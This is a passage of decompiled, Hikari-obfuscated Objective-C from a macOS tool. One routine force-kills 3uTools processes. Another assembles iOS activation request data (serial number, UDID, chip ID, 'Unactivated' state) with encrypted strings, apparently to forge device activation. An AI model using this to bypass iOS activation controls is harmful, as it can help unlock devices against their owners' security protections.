a8_1[0] = 91;
a8_1[1] = 67;
a8_1[2] = 108;
a8_1[3] = 111;
a8_1[4] = 115;
a8_1[5] = 101;
a8_1[6] = 51;
a8_1[7] = 117;
a8_1[8] = 84;
a8_1[9] = 111;
a8_1[10] = 111;
a8_1[11] = 108;
a8_1[12] = 115;
a8_1[13] = 93;
a8_1[14] = 32;
a8_1[15] = 78;
a8_1[16] = 111;
a8_1[17] = 32;
a8_1[18] = 115;
a8_1[19] = 101;
a8_1[20] = 32;
a8_1[21] = 112;
a8_1[22] = 117;
a8_1[23] = 100;
a8_1[24] = 111;
a8_1[25] = 32;
a8_1[26] = 101;
a8_1[27] = 110;
a8_1[28] = 118;
a8_1[29] = 105;
a8_1[30] = 97;
a8_1[31] = 114;
a8_1[32] = 32;
a8_1[33] = 115;
a8_1[34] = 101;
a8_1[35] = 241;
a8_1[36] = 97;
a8_1[37] = 108;
a8_1[38] = 32;
a8_1[39] = 97;
a8_1[40] = 32;
a8_1[41] = 80;
a8_1[42] = 73;
a8_1[43] = 68;
a8_1[44] = 32;
a8_1[45] = 37;
a8_1[46] = 100;
a8_1[47] = 32;
a8_1[48] = 40;
a8_1[49] = 101;
a8_1[50] = 114;
a8_1[51] = 114;
a8_1[52] = 110;
a8_1[53] = 111;
a8_1[54] = 61;
a8_1[55] = 37;
a8_1[56] = 100;
a8_1[57] = 41;
a8_1[58] = 46;
asc_100281AD0[0] = 91;
asc_100281AD0[1] = 67;
asc_100281AD0[2] = 108;
asc_100281AD0[3] = 111;
asc_100281AD0[4] = 115;
asc_100281AD0[5] = 101;
asc_100281AD0[6] = 51;
asc_100281AD0[7] = 117;
asc_100281AD0[8] = 84;
asc_100281AD0[9] = 111;
asc_100281AD0[10] = 111;
asc_100281AD0[11] = 108;
asc_100281AD0[12] = 115;
asc_100281AD0[13] = 93;
asc_100281AD0[14] = 32;
asc_100281AD0[15] = 70;
asc_100281AD0[16] = 97;
asc_100281AD0[17] = 108;
asc_100281AD0[18] = 108;
asc_100281AD0[19] = 243;
asc_100281AD0[20] = 32;
asc_100281AD0[21] = 97;
asc_100281AD0[22] = 108;
asc_100281AD0[23] = 32;
asc_100281AD0[24] = 108;
asc_100281AD0[25] = 97;
asc_100281AD0[26] = 110;
asc_100281AD0[27] = 122;
asc_100281AD0[28] = 97;
asc_100281AD0[29] = 114;
asc_100281AD0[30] = 32;
asc_100281AD0[31] = 99;
asc_100281AD0[32] = 111;
asc_100281AD0[33] = 109;
asc_100281AD0[34] = 97;
asc_100281AD0[35] = 110;
asc_100281AD0[36] = 100;
asc_100281AD0[37] = 111;
asc_100281AD0[38] = 58;
asc_100281AD0[39] = 32;
asc_100281AD0[40] = 37;
asc_100281AD0[41] = 64;
asc_100281AD0[42] = 0;
strcpy(asc_100281A30, "[Close3uTools] Enviada SIGKILL a PID %d (directo).");
a8_1[59] = 0;
}
dword_10029F5A0 = 1;
v0 = &v43 - 2;
v1 = objc_autoreleasePoolPush();
v60 = &v43 - 16;
v57 = &v43 - 8;
context = v1;
v2 = HikariFunctionWrapper_17877((objc_class *)&OBJC_CLASS___NSTask);
v3 = objc_msgSend(v2, "init");
HikariFunctionWrapper_17879(v3, "setLaunchPath:");
*v0 = (__int64)CFSTR("\xC3\x7F\x90");
v0[1] = (__int64)CFSTR(">\xF9\xAC\xD7\x7F\x19\xDE\x1F\x84\xD4\x0Ed\\{\x13u\x01\xB9\x194\x9Fo\x06\x88\x06\xA0\x98\x85\xE0\x1D\xFA]\x8B\xAC)\xD9\x3BZ\xD0\x3E\xA5\xDC\x1A\x9Co\xAB\x92\xD2\xD6$%\r\x976\x97\xF6\x03\x7D\x35\x1Ei\x00\x12\xA5\xA3\xE9\xC1\x4F\x9B姝\x0EHQ{\xD5\x44\xA6\xB2WcOK\xD1\xE3\xF8\xB6\xBF\x95\xEB\x83\x70m\x93\x1B\xF7\xAA\x31\x42\x9B\x94\x1D [AV\x01IW\x8F\xCF\x7C{\x89}\x9C!\xEC\xC5\x6B\xE5\x58\xB4X˪+iRQ\":\xC9\xC3\xFFR\x1C589\xEF\x40\x8E\xA1\xE7\xB7\x57\x8D<94\xF1\x7A\x30\x23\xA5\x95\xB54\xED\xD0\xD8Ǭ\x95>\x89\xD6\xDB\bx\xF6\x89\x29\x3C\x91\x98F\xA1\x8B\xA9\xC0\xF1\x95\x16/\x8Djz\xF3\x27\xBC\x03\x05#\x01L\xB5\xBAm\x04\xACL\xA3\xBC\xE7\x6D\xC7\xF5\x18\x0A\x11\xEA\xE3\x2E\"\xBF\x10\xE9\xBD\xFC\xA1\f\t>\x1E\x0F\x1Ai[\xA6X\xDC\x54\xFD\xE9\xA0\x56\x1E");
v4 = HikariFunctionWrapper_17881(&OBJC_CLASS___NSArray, "arrayWithObjects:count:");
v5 = objc_retainAutoreleasedReturnValue(v4);
objc_msgSend(v3, "setArguments:", v5);
objc_release(v5);
v6 = +[NSPipe pipe](&OBJC_CLASS___NSPipe, "pipe");
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_msgSend(v3, "setStandardOutput:", v7);
HikariFunctionWrapper_17883(v3, "setStandardError:");
v55 = v7;
v62 = v3;
HikariFunctionWrapper_17885(v3, "launch");
v8 = objc_msgSend(v55, "fileHandleForReading");
v9 = objc_retainAutoreleasedReturnValue(v8);
v10 = objc_msgSend(v9, "readDataToEndOfFile");
v61 = objc_retainAutoreleasedReturnValue(v10);
v11 = v57;
v12 = v62;
objc_release(v9);
HikariFunctionWrapper_17887(v12, "waitUntilExit");
if ( objc_msgSend(v61, "length") )
{
v13 = HikariFunctionWrapper_17895((objc_class *)&OBJC_CLASS___NSString);
v14 = HikariFunctionWrapper_17897(v13, "initWithData:encoding:");
if ( v14 )
{
v58 = v14;
v15 = +[NSCharacterSet newlineCharacterSet](&OBJC_CLASS___NSCharacterSet, "newlineCharacterSet");
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = HikariFunctionWrapper_17901(v58, "componentsSeparatedByCharactersInSet:");
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_release(v16);
*((_OWORD *)v11 + 3) = 0;
*((_OWORD *)v11 + 2) = 0;
*((_OWORD *)v11 + 1) = 0;
*(_OWORD *)v11 = 0;
objc_retain(v18);
v19 = HikariFunctionWrapper_17903(v18, "countByEnumeratingWithState:objects:count:");
if ( v19 )
{
v48 = *(_QWORD *)v11[2];
v20 = v19;
v47 = v18;
do
{
v49 = "rangeOfString:options:";
v50 = "objectAtIndexedSubscript:";
v51 = "UTF8String";
v21 = 0;
v53 = "count";
v45 = v20;
v59 = "whitespaceCharacterSet";
v46 = "stringByTrimmingCharactersInSet:";
do
{
if ( *(_QWORD *)v11[2] != v48 )
HikariFunctionWrapper_17905(v18);
v22 = v11[1];
v44 = v21;
v23 = *(void **)(v22 + 8 * v21);
v24 = HikariFunctionWrapper_17907(v23, "length");
v25 = v46;
if ( v24 && objc_msgSend(v23, v49, CFSTR("\x13b\x17n\xEC\x73\xAA"), 1) != (id)0x7FFFFFFFFFFFFFFFLL )
{
v26 = objc_msgSend(&OBJC_CLASS___NSCharacterSet, v59, 2092354142);
v27 = objc_retainAutoreleasedReturnValue(v26);
v28 = objc_msgSend(v23, v25, v27);
v56 = objc_retainAutoreleasedReturnValue(v28);
objc_release(v27);
v29 = objc_msgSend(&OBJC_CLASS___NSCharacterSet, v59);
v30 = objc_retainAutoreleasedReturnValue(v29);
v31 = objc_msgSend(v56, "componentsSeparatedByCharactersInSet:", v30);
v32 = objc_retainAutoreleasedReturnValue(v31);
objc_release(v30);
v33 = HikariFunctionWrapper_17909(v32, v53);
v54 = v32;
v11 = v57;
if ( v33 )
{
v34 = objc_msgSend(v54, v50, 0, 1436365733);
v35 = objc_retainAutoreleasedReturnValue(v34);
objc_retainAutorelease(v35);
v36 = (const char *)objc_msgSend(v35, v51);
objc_release(v35);
v37 = atoi(v36);
v38 = v37;
v11 = v57;
if ( v37 > 0 )
{
if ( HikariFunctionWrapper_17911(v37, 15) )
{
if ( HikariFunctionWrapper_17913(v38, 9) )
{
v39 = __error();
NSLog(
CFSTR("聥☀ញ艎䎋ᰤ蛎阇霘貀骗椬थ꿏⁸ᶼ됀㴤ꇣ潤⧸갥\x6A\xDB\xE9\x47뜓攊헨ഴ崘븃噇征퉵祌쐰횾챢捯嶼밐긹商䴪맾솋멂ꀄ࿔⟇\u0B46ዐ喑푕။\u2E73"),
v38,
(unsigned int)*v39);
}
else
{
NSLog(
CFSTR("\xF3\x04\xF5\x17\xF0\xE2\xD1\xED\riZ\xA3z\xED\x53\x9D\x0FS\xB7}T.Q\x1Cq\xBB\x19g\xED\x34\x77\xCE\x530\xB9{_H\xB2=lǵ\xD4\x6C\xC1\x82\xC8\xCC\xCA\x21"),
v38);
}
}
else
{
NSLog(
CFSTR("\x00\xAD\xCC\x23Gލ\u0590cd9P\x13Tɦn\xB9\x1E<\x03\x83/\x96\x91,\\\xB5\x04-@W\x91d\x8E\xFC\x91\x8EM{\xA9\xEF\xF8\xAC\x06\x81k\xC4\xEAJ"),
v38);
sleep(1u);
if ( kill(v38, 0) )
{
NSLog(
CFSTR("恴譎험ឃ럗栘卶跣き桛캱∕埕솀燎Ĝ᫂㧦郱\u2D6A쏷뉲馲៱蒌픑⿎䪔䮪풷틵ゐ詴顂趷ꨬ襁숸閎驊吿돗"),
v38,
61334008);
}
else if ( kill(v38, 9) )
{
v40 = *__error();
NSLog(
CFSTR("攓犆곡‸辖䪏홭ꀁ舥숄࿓斺九ᑩ蹵磉䔀톆ṑ鵭社ﳭ笠罧컠\xA4\xDC褻Ꜽ䱢涵勏ދ頣뛏쿓溘\uFFC0鮥䁁ᴫ㾈㫆鮒牙鏁"),
v38,
v40);
}
else
{
NSLog(
CFSTR("\x00\xC0\x9B+aG\x1D\xE5\xFD\x2Fҹ\xBA\xD6\x65\xF8\xEF\x3D\x92\x91\x8C\x1C\xF7\xBB\xF5\x96\x03\xE6\x78\x6Fn\xF8\x89\t\xE2\xB9\x57\x92\xB7\xF9z"),
v38);
}
}
}
}
objc_release(v54);
objc_release(v56);
}
v21 = v44 + 1;
v18 = v47;
}
while ( (id)(v44 + 1) != v45 );
v20 = HikariFunctionWrapper_17915(v47, "countByEnumeratingWithState:objects:count:");
}
while ( v20 );
}
objc_release(v18);
objc_release(v18);
v14 = v58;
v41 = v62;
}
else
{
HikariFunctionWrapper_17899(&stru_100282360.isa);
v41 = v62;
}
objc_release(v14);
}
else
{
v41 = v62;
HikariFunctionWrapper_17889(&stru_1002823A0.isa);
}
objc_release(v61);
objc_release(v55);
objc_release(v41);
objc_autoreleasePoolPop(context);
return -1;
}
// 10014B273: conditional instruction was optimized away because ebx.4==A0A76B68
// 10014B8B6: conditional instruction was optimized away because ebx.4==1
// 10014BBAB: conditional instruction was optimized away because r15d.4==4EFDDB89
// 100281AD0: using guessed type __int16 asc_100281AD0[43];
// 100281C10: using guessed type __int16 a8_1[60];
// 100281DF0: using guessed type __int16 aO_13[50];
// 100282110: using guessed type __int16 aG_19[51];
// 100282220: using guessed type __CFString stru_100282220;
// 100282320: using guessed type __CFString cfstr_BN;
// 100282360: using guessed type __CFString stru_100282360;
// 1002823A0: using guessed type __CFString stru_1002823A0;
// 100282420: using guessed type __CFString stru_100282420;
// 10029F5A0: using guessed type int dword_10029F5A0;
//----- (000000010014C041) ----------------------------------------------------
bool MakeFactoryLegacy()
{
char v0; // cf
int v1; // eax
bool v2; // zf
int v3; // ecx
bool v4; // cf
int v5; // ecx
unsigned __int8 v6; // bl
int v7; // eax
int v8; // eax
id v9; // rax
id v10; // rax
int v11; // ecx
id v12; // rax
id v13; // rax
bool v14; // bl
__CFString **v15; // rbx
NSString *v16; // rax
__CFString *v17; // rax
__CFString *v18; // r12
__CFString **v19; // rbx
NSString *v20; // rax
__CFString *v21; // rax
__CFString *v22; // r13
__CFString **v23; // r14
id v24; // rax
__CFString *v25; // rbx
__CFString **v26; // r15
id v27; // rax
__CFString *v28; // r14
id v29; // rax
id v30; // r15
id v31; // rax
__CFString **v32; // rbx
NSString *v33; // rax
__CFString *v34; // rdx
__CFString **v35; // rbx
id v36; // rax
__CFString *v37; // rax
__CFString *v38; // r13
__CFString **v39; // r14
id v40; // rax
__CFString *v41; // rbx
__CFString **v42; // r15
NSString *v43; // rax
NSString *v44; // r14
id v45; // rax
id v46; // r15
id v47; // rax
_QWORD *v48; // rbx
id v49; // rax
NSDictionary *v50; // rax
id *v51; // rbx
id v52; // rax
__CFString *v53; // rax
__CFString **v54; // r14
id v55; // rax
__CFString *v56; // rax
id v57; // rax
__CFString *v58; // rax
__CFString *v59; // rax
__CFString **v60; // rbx
NSString *v61; // rax
__CFString *v62; // rax
NSData *v63; // rax
id v64; // rax
id v65; // rax
id v66; // rax
id v67; // rax
id v68; // rax
__CFString *v69; // r14
__CFString *v70; // rdi
id v71; // rax
__CFString *v72; // rax
id v73; // rax
id v74; // rax
id v75; // rax
NSData *v76; // rax
id v77; // rax
id v78; // rbx
id v79; // rax
__CFString *v80; // r15
__CFString *v81; // rdi
id v82; // rax
__CFString *v83; // rax
_QWORD *v84; // rbx
NSNumber *v85; // rax
id v86; // rax
id v87; // rax
id *v88; // rbx
NSString *v89; // rax
__CFString *v90; // rax
__CFString **v91; // r14
NSString *v92; // rax
__CFString *v93; // rax
id v94; // rax
__CFString *v95; // rax
__CFString *v96; // rcx
__CFString **v97; // rbx
id v98; // rax
__CFString *v99; // rax
_QWORD v101[4]; // [rsp+0h] [rbp-180h] BYREF
id v102; // [rsp+20h] [rbp-160h]
void *v103; // [rsp+28h] [rbp-158h]
id v104; // [rsp+30h] [rbp-150h]
id v105; // [rsp+38h] [rbp-148h]
SEL v106; // [rsp+40h] [rbp-140h]
id v107; // [rsp+48h] [rbp-138h]
id v108; // [rsp+50h] [rbp-130h]
id v109; // [rsp+58h] [rbp-128h]
id v110; // [rsp+60h] [rbp-120h]
id v111; // [rsp+68h] [rbp-118h]
_QWORD *v112; // [rsp+70h] [rbp-110h]
id v113; // [rsp+78h] [rbp-108h]
id v114; // [rsp+80h] [rbp-100h]
id v115; // [rsp+88h] [rbp-F8h]
id v116; // [rsp+90h] [rbp-F0h]
int v117; // [rsp+9Ch] [rbp-E4h]
int v118; // [rsp+A0h] [rbp-E0h] BYREF
unsigned int v119; // [rsp+A4h] [rbp-DCh]
id v120; // [rsp+A8h] [rbp-D8h]
id v121; // [rsp+B0h] [rbp-D0h]
id *v122; // [rsp+B8h] [rbp-C8h]
_QWORD *v123; // [rsp+C0h] [rbp-C0h]
id v124; // [rsp+C8h] [rbp-B8h]
id v125; // [rsp+D0h] [rbp-B0h]
id v126; // [rsp+D8h] [rbp-A8h]
__CFString **v127; // [rsp+E0h] [rbp-A0h]
_QWORD *v128; // [rsp+E8h] [rbp-98h]
id *v129; // [rsp+F0h] [rbp-90h]
id v130; // [rsp+F8h] [rbp-88h]
id *v131; // [rsp+100h] [rbp-80h]
SEL v132; // [rsp+108h] [rbp-78h]
_QWORD *v133; // [rsp+110h] [rbp-70h]
_QWORD *v134; // [rsp+118h] [rbp-68h]
_QWORD *v135; // [rsp+120h] [rbp-60h]
bool v136; // [rsp+12Fh] [rbp-51h]
char v137; // [rsp+130h] [rbp-50h]
bool v138; // [rsp+131h] [rbp-4Fh]
bool v139; // [rsp+132h] [rbp-4Eh]
bool v140; // [rsp+133h] [rbp-4Dh]
char v141; // [rsp+134h] [rbp-4Ch]
bool v142; // [rsp+135h] [rbp-4Bh]
bool v143; // [rsp+136h] [rbp-4Ah]
bool v144; // [rsp+137h] [rbp-49h]
__CFString **v145; // [rsp+138h] [rbp-48h]
_QWORD *v146; // [rsp+140h] [rbp-40h]
int *v147; // [rsp+148h] [rbp-38h]
__int64 v148; // [rsp+150h] [rbp-30h]
v148 = -1;
v117 = dword_10029F5A4;
v118 = 1873184362;
v147 = &v118;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v118 > -144753588 )
{
if ( v118 <= 1007430256 )
{
if ( v118 > 614035287 )
{
if ( v118 <= 868732295 )
{
if ( v118 > 801726166 )
{
if ( v118 == 801726167 )
{
*v147 = -2121924546;
}
else if ( v118 == 831288979 )
{
v9 = decryptMyData(v130);
v116 = objc_retainAutoreleasedReturnValue(v9);
v10 = HikariFunctionWrapper_17959(v116, "copy");
v2 = 0;
v103 = v10;
v104 = gAldazDecryptedResponse;
v1 = 831288979;
v3 = -898905798;
goto LABEL_203;
}
}
else
{
if ( v118 == 614035288 )
{
v119 = -1801064819;
v146[6] = CFSTR("\x93\xC6\xC9\xA8.\xBA\xF5\x6B\xAB\xA7z%ge\x97");
v32 = v145;
v33 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v105 = objc_retainAutoreleasedReturnValue(v33);
v34 = (__CFString *)v105;
if ( !v105 )
v34 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v32[6] = v34;
v146[7] = CFSTR("C\x8D\xC0\xFB\xF8I\x9C\xD2\x35&");
v35 = v145;
v36 = HikariFunctionWrapper_17957(&OBJC_CLASS___iOSDevice, "RegionCode");
v37 = (__CFString *)objc_retainAutoreleasedReturnValue(v36);
v38 = v37;
if ( !v37 )
v37 = &stru_10025B688;
v35[7] = v37;
v146[8] = CFSTR("\x84\x86yi\x99\x92\x84\xD1\xDAh\xD7\x41D4D\bv\x1C=\xFF");
v145[8] = CFSTR("t\xE5\x9D\x2C\x0EJ");
v146[9] = CFSTR(",?\x04\xC8\x4A\x94\x88˖\xBFS\x14");
v39 = v145;
v40 = objc_msgSend(&OBJC_CLASS___NSNumber, v106, 1);
v41 = (__CFString *)objc_retainAutoreleasedReturnValue(v40);
v39[9] = v41;
v146[10] = CFSTR("^\x8D\xA3\xB2\xC2\x5B~\xAAp\xA2\x1C\xA6t");
v42 = v145;
v43 = +[iOSDevice UniqueKeyAuth](&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v44 = objc_retainAutoreleasedReturnValue(v43);
v42[10] = (__CFString *)v44;
v45 = objc_msgSend(&OBJC_CLASS___NSDictionary, v132, v145, v146, 11);
v46 = objc_retainAutoreleasedReturnValue(v45);
*v112 = v46;
v47 = objc_msgSend(&OBJC_CLASS___NSDictionary, v132, v131, v133, 3);
v120 = objc_retainAutoreleasedReturnValue(v47);
objc_release(v46);
objc_release(v44);
objc_release(v41);
objc_release(v38);
objc_release(v105);
objc_release(v113);
objc_release(v111);
objc_release(v110);
objc_release(v109);
objc_release(v108);
v4 = v119 < 0x92D2213B;
v1 = 868732296;
v5 = -967401752;
goto LABEL_210;
}
if ( v118 == 623337137 )
LABEL_200:
*v147 = -1428580898;
}
}
else if ( v118 <= 878335694 )
{
if ( v118 == 868732296 )
{
*v147 = -681714975;
}
else if ( v118 == 877386254 )
{
v14 = v143;
objc_release(v124);
objc_release(v102);
objc_release(v120);
*v147 = 287408185;
v144 = v14;
}
}
else
{
switch ( v118 )
{
case 878335695:
*v147 = 1864675442;
break;
case 947112106:
*v133 = CFSTR("\xC9\x01\x7F\x06\x8A\xCC\xE0\xB3\xD7\x18\t\x05\xD7\xC2kȮ'f\xB0\x82");
*v135 = CFSTR("\xB5\xF6\x42\x4F\x5DQ\x81\x8Da\x89\x00\x95\x16<\b\xFF\xDA\xFA86s");
*v134 = CFSTR("H\x15\xB6n\xE3\xBF\x0A\x14PP\x86\x18\xE1\xCF\x7E\xA3Q\x84\xCA\x412\x7F9\xD6\x24\xB3U'8\f\xBD\xD8\x10\x89o\xCF\xE1");
v135[1] = CFSTR("\auB\xC5\xFE\xB5\x9B1\x9A3:\xB0B\n\xDB\x39");
v134[1] = CFSTR("\xB0ۃ\x1E\b\vxY\xEC\xE2\x93\x85");
v135[2] = CFSTR(">\xAB\\\xC4\x6D\x92\x82\xD9\xC7\x89m\xA8\xF1\x3B\xB4\x84\xDE\x4E");
v48 = v134;
v106 = "numberWithBool:";
v49 = HikariFunctionWrapper_17949(&OBJC_CLASS___NSNumber, "numberWithBool:");
v107 = objc_retainAutoreleasedReturnValue(v49);
v48[2] = v107;
v132 = "dictionaryWithObjects:forKeys:count:";
v50 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v134,
v135,
3);
v108 = objc_retainAutoreleasedReturnValue(v50);
*v131 = v108;
v133[1] = CFSTR("\xE1\xD3\x6FW\x7FX\xC6\xDF\x19");
v51 = v131;
*v128 = CFSTR("?eŹ6b\xFF\bT\xB4");
v52 = HikariFunctionWrapper_17951(&OBJC_CLASS___iOSDevice, "SerialNumber");
v53 = (__CFString *)objc_retainAutoreleasedReturnValue(v52);
v109 = v53;
if ( !v53 )
v53 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
*v127 = v53;
v128[1] = CFSTR("Y\xB4[\x8C\xEA\xE3\xCBL\x1Af{ܞ;");
v54 = v127;
v55 = HikariFunctionWrapper_17953(&OBJC_CLASS___iOSDevice, "UDID");
v56 = (__CFString *)objc_retainAutoreleasedReturnValue(v55);
v110 = v56;
if ( !v56 )
v56 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v54[1] = v56;
v57 = HikariFunctionWrapper_17955(&OBJC_CLASS___NSDictionary, v132);
v111 = objc_retainAutoreleasedReturnValue(v57);
v51[1] = v111;
v133[2] = CFSTR("|\x99$\x1E\n\xD5\x45\x15o'\xFD");
v112 = v131 + 2;
*v146 = CFSTR("e\xEF\xD6\x53D\xEB\xF0\x12\xE0\x9B\xEE");
v58 = (__CFString *)BUILD;
if ( !BUILD )
v58 = &stru_10025B688;
v101[1] = v58;
*v145 = v58;
v146[1] = CFSTR("\xF6\xCF\xEC\x10-\xED\x84\xFF\x1ESnj");
v59 = (__CFString *)DeviceClass;
if ( !DeviceClass )
v59 = CFSTR("t2\x18\x84\b\x1DS");
v101[2] = v59;
v145[1] = v59;
v146[2] = CFSTR("/H,\xD7\x1C\x18\xE2\x74\x87|\x95ģ\x1A");
v145[2] = CFSTR("\xCD\xDF");
v146[3] = CFSTR("\x87\xBB\xED\xE4\x9F\xD3\xD4=(\x96\xDD\x4A");
v145[3] = CFSTR("T!\x8B\xA55\x18");
v146[4] = CFSTR("\xFE>\xF5\x8F\x04\x31");
v145[4] = CFSTR("\xC9\xF2\x9A\xDB\x51'~Ęr");
v146[5] = CFSTR("\xBB\x1D\\\xE4\x02\x78\xA1\xCE\x17\x9C\x96 ");
v60 = v145;
v61 = +[iOSDevice ProductType](&OBJC_CLASS___iOSDevice, "ProductType");
v62 = objc_retainAutoreleasedReturnValue(v61);
v113 = v62;
if ( !v62 )
v62 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v101[3] = v62;
v60[5] = v62;
*v147 = 878335695;
break;
case 973112795:
objc_release(v115);
objc_msgSend(v126, "containsString:", CFSTR("J\xB0\xDD\x3FB\x89\x1E"));
objc_release(v126);
*v147 = -158653543;
break;
}
}
}
else if ( v118 <= 61537548 )
{
if ( v118 > 13188398 )
{
if ( v118 == 13188399 )
{
*v147 = -534388949;
}
else if ( v118 == 26099100 )
{
objc_release(v116);
*v147 = -1901283176;
}
}
else
{
if ( v118 == -144753587 )
{
objc_release(v125);
objc_release(v121);
v4 = 1;
v1 = 1439245074;
v5 = -2133261858;
goto LABEL_210;
}
if ( v118 == -50423685 )
{
v8 = 1007430257;
if ( v138 )
v8 = 287408185;
*v147 = v8;
v144 = 0;
}
}
}
else if ( v118 <= 108950146 )
{
if ( v118 == 61537549 )
{
aUb[14] = v137;
aUb[15] = 0;
strcpy(asc_1002825B0, "E2761A1B-A0E3-4581-8728-03DA944441F1");
asc_100282547[0] = 85;
asc_100282547[1] = 78;
asc_100282547[2] = 75;
asc_100282547[3] = 78;
asc_100282547[4] = 79;
asc_100282547[5] = 87;
asc_100282547[6] = 78;
asc_100282547[7] = 0;
strcpy(aE_16, "BuildVersion");
aT_12[0] = 77;
aT_12[1] = 72;
aT_12[2] = 71;
aT_12[3] = 52;
aT_12[4] = 51;
aT_12[5] = 0;
strcpy(asc_10027C2D3, "ProductType");
strcpy(asc_10027C281, "DeviceClass");
strcpy(aY_11, "UniqueDeviceID");
strcpy(asc_100282790, "ActivationRequestInfo");
strcpy(asc_100282533, "ModelNumber");
strcpy(asc_10027C0F7, "ProductVersion");
strcpy(aEz6b, "SerialNumber");
strcpy(asc_1002824F0, "ActivationRecord");
strcpy(asc_10027C222, "UniqueChipID");
strcpy(asc_100282620, "RegulatoryModelNumber");
aT2[0] = 105;
aT2[1] = 80;
aT2[2] = 104;
aT2[3] = 111;
aT2[4] = 110;
aT2[5] = 101;
aT2[6] = 0;
strcpy(aC_11, "RegionInfo");
strcpy(asc_10028271E, "Unactivated");
asc_100282509[0] = 117;
asc_100282509[1] = 110;
asc_100282509[2] = 107;
asc_100282509[3] = 110;
asc_100282509[4] = 111;
asc_100282509[5] = 119;
asc_100282509[6] = 110;
asc_100282509[7] = 0;
asc_10028255F[0] = 65;
asc_10028255F[1] = 0;
aJ_12[0] = 115;
aJ_12[1] = 117;
aJ_12[2] = 99;
aJ_12[3] = 99;
aJ_12[4] = 101;
aJ_12[5] = 115;
aJ_12[6] = 115;
aJ_12[7] = 0;
*v147 = -349763803;
}
else if ( v118 == 72454895 )
{
v12 = decryptMyData(v130);
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(v13, "copy");
*v147 = 831288979;
}
}
else
{
switch ( v118 )
{
case 108950147:
v64 = objc_msgSend(v124, "base64EncodedStringWithOptions:", 0);
v65 = objc_retainAutoreleasedReturnValue(v64);
*v123 = CFSTR("\xB1\x93\x13\x98\xAB\xA3\x0Ȇ\x984\xBA\x15e\xA6\xB2\x94\x87");
*v122 = v65;
v66 = HikariFunctionWrapper_17973(&OBJC_CLASS___NSDictionary, v132);
objc_retainAutoreleasedReturnValue(v66);
*v147 = -230664101;
break;
case 183263816:
*v147 = -1080493662;
break;
case 287408185:
v140 = v144;
v1 = 2096524388;
goto LABEL_232;
}
}
}
else if ( v118 <= 1798829574 )
{
if ( v118 <= 1457000905 )
{
if ( v118 > 1415254275 )
{
if ( v118 == 1415254276 )
{
LABEL_148:
*v147 = -1866915648;
}
else if ( v118 == 1439245074 )
{
objc_release(v125);
objc_release(v121);
*v147 = -144753587;
}
}
else
{
if ( v118 == 1007430257 )
{
v1 = 947112106;
goto LABEL_232;
}
if ( v118 == 1094972751 )
{
strcpy(asc_100282758, "SigningFuse");
v4 = 0;
aT_11[0] = 65;
aT_11[1] = 50;
aT_11[2] = 50;
v141 = -76;
v1 = 1457000906;
v5 = 1094972751;
goto LABEL_210;
}
}
}
else if ( v118 <= 1568934932 )
{
if ( v118 == 1457000906 )
{
*v147 = -1801092076;
}
else if ( v118 == 1482751065 )
{
LABEL_228:
*v147 = -1285899042;
}
}
else
{
switch ( v118 )
{
case 1568934933:
*v147 = -1960691548;
break;
case 1632557676:
v131 = (id *)v101;
v133 = v101;
v134 = v101;
v135 = v101;
v127 = (__CFString **)v101;
v128 = v101;
v145 = (__CFString **)v101;
v146 = v101;
v129 = (id *)v101;
v122 = (id *)&v101[-2];
*v147 = -1989805974;
break;
case 1647896543:
v7 = 1944472827;
if ( v139 )
v7 = 877386254;
*v147 = v7;
v143 = 0;
break;
}
}
}
else if ( v118 > 1887068477 )
{
if ( v118 <= 1988215492 )
{
if ( v118 == 1887068478 )
{
*v147 = -841192207;
}
else if ( v118 == 1944472827 )
{
v4 = 1;
v1 = 108950147;
v5 = -230664101;
goto LABEL_210;
}
}
else
{
switch ( v118 )
{
case 1988215493:
*v133 = CFSTR("\xC9\x01\x7F\x06\x8A\xCC\xE0\xB3\xD7\x18\t\x05\xD7\xC2kȮ'f\xB0\x82");
*v135 = CFSTR("\xB5\xF6\x42\x4F\x5DQ\x81\x8Da\x89\x00\x95\x16<\b\xFF\xDA\xFA86s");
*v134 = CFSTR("H\x15\xB6n\xE3\xBF\x0A\x14PP\x86\x18\xE1\xCF\x7E\xA3Q\x84\xCA\x412\x7F9\xD6\x24\xB3U'8\f\xBD\xD8\x10\x89o\xCF\xE1");
v135[1] = CFSTR("\auB\xC5\xFE\xB5\x9B1\x9A3:\xB0B\n\xDB\x39");
v134[1] = CFSTR("\xB0ۃ\x1E\b\vxY\xEC\xE2\x93\x85");
v135[2] = CFSTR(">\xAB\\\xC4\x6D\x92\x82\xD9\xC7\x89m\xA8\xF1\x3B\xB4\x84\xDE\x4E");
v84 = v134;
v85 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v84[2] = objc_retainAutoreleasedReturnValue(v85);
v86 = HikariFunctionWrapper_17961(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v87 = objc_retainAutoreleasedReturnValue(v86);
*v131 = v87;
v133[1] = CFSTR("\xE1\xD3\x6FW\x7FX\xC6\xDF\x19");
v88 = v131;
*v128 = CFSTR("?eŹ6b\xFF\bT\xB4");
v89 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v90 = objc_retainAutoreleasedReturnValue(v89);
if ( !v90 )
v90 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
*v127 = v90;
v128[1] = CFSTR("Y\xB4[\x8C\xEA\xE3\xCBL\x1Af{ܞ;");
v91 = v127;
v92 = +[iOSDevice UDID](&OBJC_CLASS___iOSDevice, "UDID");
v93 = objc_retainAutoreleasedReturnValue(v92);
if ( !v93 )
v93 = CFSTR("\xAD\xC5\x34\xEE\xEE\xDD=");
v91[1] = v93;
v94 = HikariFunctionWrapper_17963(
&OBJC_CLASS___NSDictionary,
